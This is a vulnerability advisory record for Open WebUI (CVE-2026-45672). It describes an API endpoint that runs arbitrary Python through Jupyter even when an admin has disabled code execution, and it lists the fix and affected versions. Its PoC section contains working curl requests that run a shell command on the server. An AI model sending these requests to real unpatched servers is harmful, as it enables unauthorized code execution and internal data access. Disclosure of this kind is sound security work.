id: PYSEC-2026-2698
published: "2026-07-13T15:19:08.070592Z"
modified: "2026-07-13T16:05:10.588078Z"
aliases:
- CVE-2026-45672
- GHSA-482j-2pq6-q5w4
summary: "Open WebUI: Jupyter code execution works despite `ENABLE_CODE_EXECUTION=false` — feature gate bypassed"
details: "### Summary\n\nThe `/api/v1/utils/code/execute` endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set `ENABLE_CODE_EXECUTION=false`. The feature gate is not enforced on the API endpoint — the configuration says \"disabled\" but code still executes.\n\n### Details\n\nThe admin configuration correctly shows `ENABLE_CODE_EXECUTION: false`. However, the code execution endpoint does not check this flag before forwarding Python code to the Jupyter server. Any authenticated user can execute arbitrary code in the Jupyter container.\n\n### PoC\n\n**Verified against Open WebUI v0.8.11 (latest) Docker on 2026-03-25.**\n\n**Setup:** Jupyter server connected, `ENABLE_CODE_EXECUTION=false` confirmed in admin config.\n\n```bash\n# Step 1: Verify code execution is disabled\ncurl -s http://target:8080/api/v1/configs/code_execution \\\n  -H \"Authorization: Bearer $TOKEN\"\n# Returns: {\"ENABLE_CODE_EXECUTION\": false, ...}\n\n# Step 2: Execute code anyway — gate bypassed\ncurl -s -X POST http://target:8080/api/v1/utils/code/execute \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"code\":\"import os; print(os.popen(\\\"id\\\").read())\"}'\n```\n\n**Verified output:**\n\n```\nConfig: {\"ENABLE_CODE_EXECUTION\":false,\"CODE_EXECUTION_ENGINE\":\"jupyter\",...}\n\nexecute_status=200\nexecute_body={\"stdout\":\"OPEN-WEBUI-SSRF-SECRET\",\"stderr\":\"\",\"result\":\"\"}\n```\n\nThe PoC read the internal secret service content via Jupyter — despite `ENABLE_CODE_EXECUTION=false`. The Jupyter container has network access to internal services, making this both a code execution bypass and an SSRF vector.\n\n### Impact\n\nAny authenticated user can execute arbitrary Python code in the Jupyter container, even when the admin has explicitly disabled code execution:\n\n- Arbitrary code execution in the Jupyter container (read files, spawn processes)\n- Network access to all internal Docker services from the Jupyter container\n- Data exfiltration from internal services\n- The admin's security configuration (`ENABLE_CODE_EXECUTION=false`) is silently ineffective\n- Users who are told \"code execution is disabled\" have a false sense of security\n\n## Resolution\n\nFixed in commit [6d736d3c5](https://github.com/open-webui/open-webui/commit/6d736d3c598dbe49488675ed42845e00b62dfcba), first released in **v0.8.12**. The `/api/v1/utils/code/execute` handler in `backend/open_webui/routers/utils.py` now checks `request.app.state.config.ENABLE_CODE_EXECUTION` before dispatching to the Jupyter engine and returns 403 with `FEATURE_DISABLED('Code execution')` when the admin has disabled the flag. The retrieval-side code path was gated in the same commit. Users on `>= 0.8.12` are not affected."
affected:
- package:
    name: open-webui
    ecosystem: PyPI
    purl: pkg:pypi/open-webui
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: "0"
    - fixed: 0.8.12
  versions:
  - 0.1.124
  - 0.1.125
  - 0.2.0
  - 0.2.1
  - 0.2.2
  - 0.2.3
  - 0.2.4
  - 0.2.5
  - 0.3.0
  - 0.3.1
  - 0.3.10
  - 0.3.12
  - 0.3.13
  - 0.3.14
  - 0.3.15
  - 0.3.16
  - 0.3.17
  - 0.3.17.dev2
  - 0.3.17.dev3
  - 0.3.17.dev4
  - 0.3.17.dev5
  - 0.3.18
  - 0.3.19
  - 0.3.2
  - 0.3.20
  - 0.3.21
  - 0.3.22
  - 0.3.23
  - 0.3.24
  - 0.3.25
  - 0.3.26
  - 0.3.27
  - 0.3.27.dev1
  - 0.3.27.dev2
  - 0.3.27.dev3
  - 0.3.28
  - 0.3.29
  - 0.3.3
  - 0.3.30
  - 0.3.30.dev1
  - 0.3.30.dev2
  - 0.3.31
  - 0.3.31.dev1
  - 0.3.32
  - 0.3.33
  - 0.3.33.dev1
  - 0.3.34
  - 0.3.35
  - 0.3.4
  - 0.3.5
  - 0.3.6
  - 0.3.7
  - 0.3.8
  - 0.3.9
  - 0.4.0
  - 0.4.0.dev1
  - 0.4.0.dev2
  - 0.4.1
  - 0.4.2
  - 0.4.3
  - 0.4.4
  - 0.4.5
  - 0.4.6
  - 0.4.6.dev1
  - 0.4.7
  - 0.4.8
  - 0.5.0
  - 0.5.0.dev1
  - 0.5.0.dev2
  - 0.5.1
  - 0.5.10
  - 0.5.11
  - 0.5.12
  - 0.5.13
  - 0.5.14
  - 0.5.15
  - 0.5.16
  - 0.5.17
  - 0.5.18
  - 0.5.19
  - 0.5.2
  - 0.5.20
  - 0.5.3
  - 0.5.3.dev1
  - 0.5.4
  - 0.5.5
  - 0.5.6
  - 0.5.7
  - 0.5.8
  - 0.5.9
  - 0.6.0
  - 0.6.1
  - 0.6.10
  - 0.6.11
  - 0.6.12
  - 0.6.13
  - 0.6.14
  - 0.6.15
  - 0.6.16
  - 0.6.18
  - 0.6.19
  - 0.6.2
  - 0.6.20
  - 0.6.21
  - 0.6.22
  - 0.6.23
  - 0.6.24
  - 0.6.25
  - 0.6.26
  - 0.6.26.dev1
  - 0.6.27
  - 0.6.28
  - 0.6.29
  - 0.6.3
  - 0.6.30
  - 0.6.31
  - 0.6.32
  - 0.6.33
  - 0.6.34
  - 0.6.35
  - 0.6.36
  - 0.6.37
  - 0.6.38
  - 0.6.39
  - 0.6.4
  - 0.6.40
  - 0.6.41
  - 0.6.42
  - 0.6.43
  - 0.6.5
  - 0.6.6
  - 0.6.6.dev1
  - 0.6.7
  - 0.6.8
  - 0.6.9
  - 0.7.0
  - 0.7.1
  - 0.7.2
  - 0.8.0
  - 0.8.1
  - 0.8.10
  - 0.8.11
  - 0.8.2
  - 0.8.3
  - 0.8.4
  - 0.8.5
  - 0.8.6
  - 0.8.7
  - 0.8.8
  - 0.8.9
references:
- type: WEB
  url: https://github.com/open-webui/open-webui/security/advisories/GHSA-482j-2pq6-q5w4
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2026-45672
- type: WEB
  url: https://github.com/open-webui/open-webui/commit/6d736d3c598dbe49488675ed42845e00b62dfcba
- type: PACKAGE
  url: https://github.com/open-webui/open-webui
- type: WEB
  url: https://github.com/open-webui/open-webui/releases/tag/v0.8.12
- type: PACKAGE
  url: https://pypi.org/project/open-webui
- type: ADVISORY
  url: https://github.com/advisories/GHSA-482j-2pq6-q5w4
severity:
- type: CVSS_V3
  score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H